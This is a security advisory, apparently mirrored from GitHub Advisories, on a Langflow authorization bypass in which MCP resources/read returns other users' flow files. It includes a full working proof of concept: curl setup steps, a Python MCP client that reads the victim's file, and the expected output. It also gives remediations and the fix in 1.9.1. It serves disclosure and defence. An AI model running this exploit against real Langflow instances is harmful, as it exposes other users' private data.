OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-105699: Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

GitHub Advisories · officialPublished Oct 7, 2026Risk 37/100

### Summary Langflow's project-scoped MCP transport authenticates the caller for the `project_id` in the connection URL, but the subsequent `resources/read` operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership. This is a cross-user authorization bypass (`userA -> userB`) that allows arbitrary read access to files stored under other users' flow namespaces. ### Details Verified against local checkout: - Repository: `langflow-ai/langflow` - Verified on release tag: `v1.8.3` - Commit: `08bf98404cfd7737fde57a2588785766cdf1b42e` - Earliest stable release known to contain the vulnerable code path: `v1.6.8` Relevant code path: 1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193` `verify_project_auth_conditional()` authenticates the caller and checks access only to the `project_id` in the MCP transport URL. 2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241` The project-scoped MCP server registers `read_resource()` and forwards the attacker-controlled URI directly to `handle_read_resource(uri=uri)`. 3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182` `handle_read_resource()` parses the last two URI path segments as `flow_id` and `filename`, then directly calls: ```python storage_service.get_file(flow_id=flow_id, file_name=filename) ``` No check ties the supplied `flow_id` back to the authenticated user or the current project. 4. `src/backend/base/langflow/services/storage/local.py:141-149` `src/backend/base/langflow/services/storage/s3.py:200-217` The storage layer performs a raw namespace read and is not authorization-aware. The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI. This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data: - `src/backend/base/langflow/api/v1/mcp_utils.py:102-121` `handle_list_resources(project_id=None)` lists files for all flows. - `src/backend/base/langflow/api/v1/mcp_utils.py:333-380` `handle_list_tools(project_id=None)` queries all flows and includes flow IDs in tool metadata. That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier. ### PoC Preconditions: - Langflow is running locally with authentication enabled. - Two separate users exist on the same instance. - The victim has a flow with an uploaded file. - The attacker has access to any project they own. Verify the issue locally by starting Langflow with: ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -a source .env.verify set +a export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify" uv run python - <<'PY' from langflow.main import setup_app import uvicorn app = setup_app(backend_only=True) uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug") PY ``` Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that: - the normal file download route is blocked for the attacker (`404`) - the same file is readable through the attacker's own project-scoped MCP connection ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -euo pipefail export BASE='http://127.0.0.1:7860' export PASS='Passw0rd!Passw0rd!' export VICTIM_USER="[email protected]" export ATTACKER_USER="[email protected]" curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null export VICTIM_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$VICTIM_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export ATTACKER_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$ATTACKER_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export VICTIM_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"victim-project"}' | jq -r '.id' ) export ATTACKER_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-project"}' | jq -r '.id' ) export VICTIM_FLOW_ID=$( curl -sS -X POST "$BASE/api/v1/flows/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \ | jq -r '.id' ) printf 'cross-project-read-proof\n' > /tmp/secret.txt export UPLOAD_JSON=$( curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -F "file=@/tmp/secret.txt" ) export VICTIM_FILE=$( printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last' ) export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE" export ATTACKER_API_KEY=$( curl -sS -X POST "$BASE/api/v1/api_key/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key' ) export DIRECT_STATUS=$( curl -sS -o /dev/null -w '%{http_code}' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ "$VICTIM_URI" ) export MCP_READ_OUTPUT=$( uv run python - <<'PY' import asyncio import base64 import os import httpx from mcp import ClientSession from mcp.client.streamable_http import streamable_http_client base = os.environ["BASE"] project_id = os.environ["ATTACKER_PROJECT_ID"] api_key = os.environ["ATTACKER_API_KEY"] victim_uri = os.environ["VICTIM_URI"] url = f"{base}/api/v1/mcp/project/{project_id}/streamable" async def main(): async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client: async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _): async with ClientSession(read_stream, write_stream) as session: await session.initialize() result = await session.read_resource(victim_uri) blob = result.contents[0].blob print(base64.b64decode(base64.b64decode(blob)).decode().strip()) asyncio.run(main()) PY ) echo "Direct /files/download as attacker -> $DIRECT_STATUS" echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT" ``` Expected output: ```text Direct /files/download as attacker -> 404 Project-scoped MCP resources/read -> cross-project-read-proof ``` Observed server logs during verification: ```text GET /api/v1/files/download/... 404 Not Found POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK ``` ### Impact This is an authenticated IDOR / arbitrary file read issue in the MCP layer. Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to `resources/read`. Practical impact includes: - Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts - Unauthorized access to sensitive business data stored in flow namespaces - Easier exploitation when global MCP helpers reveal other users' flow IDs and file names ### Suggested Remediations 1. Authorize `resources/read` against the authenticated context before calling storage. Resolve `flow_id` to a database object and require both: `flow.user_id == current_user.id` and, for project-scoped transports, `flow.folder_id == current_project_id`. 2. Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from `resources/list` and resolve them server-side to an already authorized object. 3. Scope global MCP enumeration helpers to the authenticated user. `handle_list_resources()` and `handle_list_tools()` should not query all flows when `project_id=None`; they should return only flows owned by the current user, or require elevated privileges for broader discovery. ### Fix Status (Maintainer Triage Update — 2026-09-22) This report is accurate. The vulnerable code path described above (missing ownership check in `handle_read_resource()`) has since been fixed. **Corrected affected version range:** `>= 1.6.8, <= 1.9.0` (not `<= 1.8.3` — confirmed still vulnerable through `v1.9.0`; the fix landed with the `v1.9.1` release, not later). **Fixed in:** `v1.9.1` (GitHub Release published 2026-04-24), via PR [#12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)"](https://github.com/langflow-ai/langflow/pull/12818). - Backport commit on `release-1.9.1`: `f0fd436fe9829192ee550e6cb46961a01dd37032` - Corresponding commit on `main`: `b8fe970493fd5fb2e1fc71dfccc79f90b76058fa` The fix: - `handle_read_resource()` now requires an authenticated user context and resolves the namespace segment of the URI to a `Flow` row scoped to `Flow.user_id == current_user.id`, additionally filtering on `Flow.folder_id == project_id` for project-scoped MCP servers (`src/backend/base/langflow/api/v1/mcp_utils.py`). - Rejects filenames containing `..`, `/`, or `\` as defense-in-depth against path traversal, and applies the same containment check to the storage layer's `get_file`/`get_file_stream`/`delete_file`/`get_file_size` (`local.py`/`s3.py`, both in `langflow` and `lfx`). - `handle_list_resources()` / `handle_list_tools()` are now scoped to `current_user.id` on the global (non-project) MCP server, closing the cross-user enumeration this report also flagged. Verified independently against `langflow-ai/langflow` @ `89444c3bb5` (release-1.11.0 branch, current as of 2026-09-22): the fix is present, and the regression suite (`src/backend/tests/unit/api/v1/test_mcp_utils.py`, 21/21 passing) includes `test_handle_read_resource_denies_other_users_flow`, which reproduces this report's exact cross-user scenario and asserts it now raises `ValueError("... access denied")`.

Upgrade affected packages to a patched version: langflow 1.9.1.

Vendor
Not specified
Product
langflow
Exploitation
none known
Evidence
official

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source